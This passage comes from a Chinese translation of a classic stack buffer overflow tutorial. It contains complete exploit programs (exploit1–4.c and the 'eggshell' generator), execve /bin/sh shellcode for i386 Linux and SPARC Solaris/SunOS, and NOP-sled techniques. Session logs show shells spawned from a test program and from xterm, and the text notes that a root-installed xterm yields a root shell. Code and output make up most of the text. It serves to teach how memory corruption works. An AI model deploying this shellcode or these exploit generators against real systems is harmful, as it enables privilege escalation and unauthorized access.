        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
char large_string[128];
 
void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;
 
  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;
 
  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];
 
  strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
 
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
 
我们上面所做的是用buffer[]的地址来填充数组large_string[],buffer[]将是我们代码存储的地方.
之后将shellcode复制到字符串large_string的开始.
strcpy()会将large_string复制到buffer中而不进行任何边界检查,然后溢出返回地址,用我们代码所在位置重写.
一旦main函数结束,它会跳转到我们的代码,并执行一个shell.
 
我们在尝试溢出时所面临的一个问题是,另一个程序正在想办法找出buffer(即我们的代码)的地址.
答案是对任何程序而言,栈的起始地址都是相同的.
大多数程序不会一次就向栈中压入几百几千字节.
因此,知道栈的起始位置后,我们就可以尝试猜测我们要溢出的buffer的位置.
下面一个小程序,它会打印出它的栈指针.
 
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
 
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
 
假设我们要溢出下面这个程序:
 
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];
 
  if (argc > 1)
    strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
 
我们创建一个接收以下参数的程序:一个与buffer大小相同的参数,及一个与栈指针的偏移(我们想溢出的缓存所在).
我们将把溢出字符串放到环境变量中,以方便操作:
 
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
 
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
 
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;
 
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
 
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
 
  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  buff[bsize - 1] = '\0';
 
  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
 
现在我们能去猜测缓存和偏移在什么地方:
 
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
 
可见这并不是一个高效的程序.
即便知道了栈的起始位置,去猜测偏移大小也是一件几乎不可能的事情.
可能少则需要上百次,多则需要数千次.
问题在于我们需要猜测代码起始的"准确"位置.
即使只偏差一个字节,我们也会得到一个越界或者非法指令的错误.
一个提高几率的办法是在我们的溢出缓存前添加NOP指令.
几乎所有的处理器都有不执行任何操作的NOP指令.
我们常常在为了控制时间时,用它来对执行进行延缓.
我们可以利用这一点,用它填充一半的溢出buffer.
我们将我们的shellcode放在中间,之后用返回地址填充.
如果我们足够幸运,返回地址指向NOP中的任意位置时,它们就会被执行直至到达我们的代码.
在Intel架构中,NOP指令是1字节长, 且机械码为0x90.
假如栈的起始位置为0xFF,S代表shellcode,N代表NOP指令,那么新栈将长成以下样子:
 
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c
 
<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack
 
   新的exploit将是这样:
 
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90
 
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
 
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;
 
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
 
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
 
  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
 
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  buff[bsize - 1] = '\0';
 
  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
 
缓存较好的大小选择是比我们溢出的缓存多100字节左右.
这将会把我们的代码放到要溢出的缓存的末尾,给出很多空间放置NOP,但依然用我们猜测的地址覆盖返回地址.
我们要溢出的缓存是512字节,所以我们使用612字节.
让我们用新的exploit来溢出测试程序:
 
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
 
哇!
第一次尝试!
这个改变可以百倍地提高几率.
让我们用一个的真正的例子来测试缓存溢出.
我们将在Xt Lirary上演示我们的缓存溢出.
我们的例子将采用xterm(所有与Xt library相连的程序都是有缺陷的).
我们必须运行一个X server并允许localhost的连接.
相应地设置你的"显示"参数.
 
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
                           
                            V
 
1@/bin/sh
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
                           
                            V
 
1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
 
 
 
 
 
 
 
 
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
 
 
 
 
 
 
 
 
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
 
 
 
 
 
 
 
 
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
 
 
 
 
 
 
 
 
HHHHHHHHHHHH
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
                           
                            V
 
1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
 
 
 
 
 
 
 
 
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
 
 
 
 
 
 
 
 
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
 
 
 
 
 
 
 
 
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
 
 
 
 
 
 
 
 
TTTTTTTTTTTT
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
 
找到了!
不到12次我们就找到了这个神奇数字.
如果xterm是root安装的,那么将会是一个root shell.
 
 
                            小缓存溢出
                            ~~~~~~~~~~~~~~~~~~~~~~
 
当溢出buffer太小,或者shellcode不合适时,它会用指令而不是代码地址来重写返回地址;或在字符串前端可放置的NOP数量太少,从而地址的猜测几率太低.
要从这些程序中获取一个shell,我们需要用另一种方式运行它.
这种特别的方法只有当有权限访问程序的环境变量时有效.
 
我们要做的是把代码放入环境变量中,然后用该变量在内存中的地址溢出buffer.
如果你能任意改变包含shellcode的环境变量的大小,该方法也可以提高exploit生效的可能性.
 
环境变量在程序启动时存储在栈顶,被setenv()进行任何修改后都将被置于其它地方.
栈开始后像这样:
 
 
      <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
 
我们的新程序会接受1个额外的变量,其大小包含了shellcode和NOP.
我们的新exploit如下:
 
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90
 
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}
 
void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
 
  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);
 
 
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
 
  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
 
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';
 
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
 
   让我们在缺陷测试程序下,测试一下我们的新exploit:
 
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
 
就像施了咒一样. 
在xterm上试一下.
 
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
 
第一次尝试!
我们的概率明显提高了.
猜解地址取决于exploit程序与要exploit的程序相比较,拥有环境数据的多少,比它高或比它低. 
用正偏移和负偏移都进行试验.
 
 
                              寻找buffer溢出
                              ~~~~~~~~~~~~~~~~~~~~~~~~
 
正如前面所说,buffer溢出是向buffer中填充比其容量更多信息的结果.
由于C语言没有内置边界检查,溢出经常表现为越过字符数组边界的写入.
标准C库提供了一些复制或者增加字符串长度的函数来,但并没有进行边界检查.
它们包括: strcat(), strcpy(), sprintf(),和 vsprintf().
这些函数面向以null结束的字符串,并不对接收的字符串进行溢出检查.
gets()是从stdin读取一行到buffer的函数,到一个新行结束或者到EOF结束.
它也不对buffer溢出进行检查.
scanf()函数族也会出现问题,比如:在匹配一串非空白字符(%s)时,从匹配一个集(%[])中匹配一串非空字符时,char指针指向的数组不够接收一串字符时,及你没有定义可选最大字段宽度时.
如果这些函数的目标是一个容量为静态的buffer,并且参数来自用户的输入时,这就是一个很好的机会来进行buffer溢出的exploit.
 
另外一个我们常见的编程结构是while循环的使用,从stdin或文件,一次读取一个字符到缓存,直到行末尾,文件末尾,或一些分隔符.
这种类型结构经常用到以下函数: getc(), fgetc(), or getchar().
如果在while循环中没有外部的溢出检查,这些程序是很容易被exploit的.
 
总而言之,grep(1)是你的朋友.
开源操作系统的源代码和使用方法是可以获取的.
当你发现有些商用操作系统和开源操作系统的功能来源相同时,事情会变得很有趣.
使用源代码d00d.
 
 
     附件A - 不同操作系统/架构的shellcode
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------
 
SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------
 
SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
mov -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------
 
 
                 附件B - 通用的缓存溢出程序
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
 
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
 
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
 
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
 
unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}
 
#elif defined(__sparc__) && defined(__sun__)
 
#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
 
unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}
 
#endif
------------------------------------------------------------------------------
 
eggshell.c
------------------------------------------------------------------------------
/*
 * eggshell v1.0
 *
 * Aleph One / aleph1@underground.org
 */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
 
void usage(void);
 
void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
 
  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }
 
  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }
 
  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
 
  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
 
  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }
 
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  bof[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';
 
  memcpy(egg,"EGG=",4);
  putenv(egg);
 
  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}
 
void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}

0 0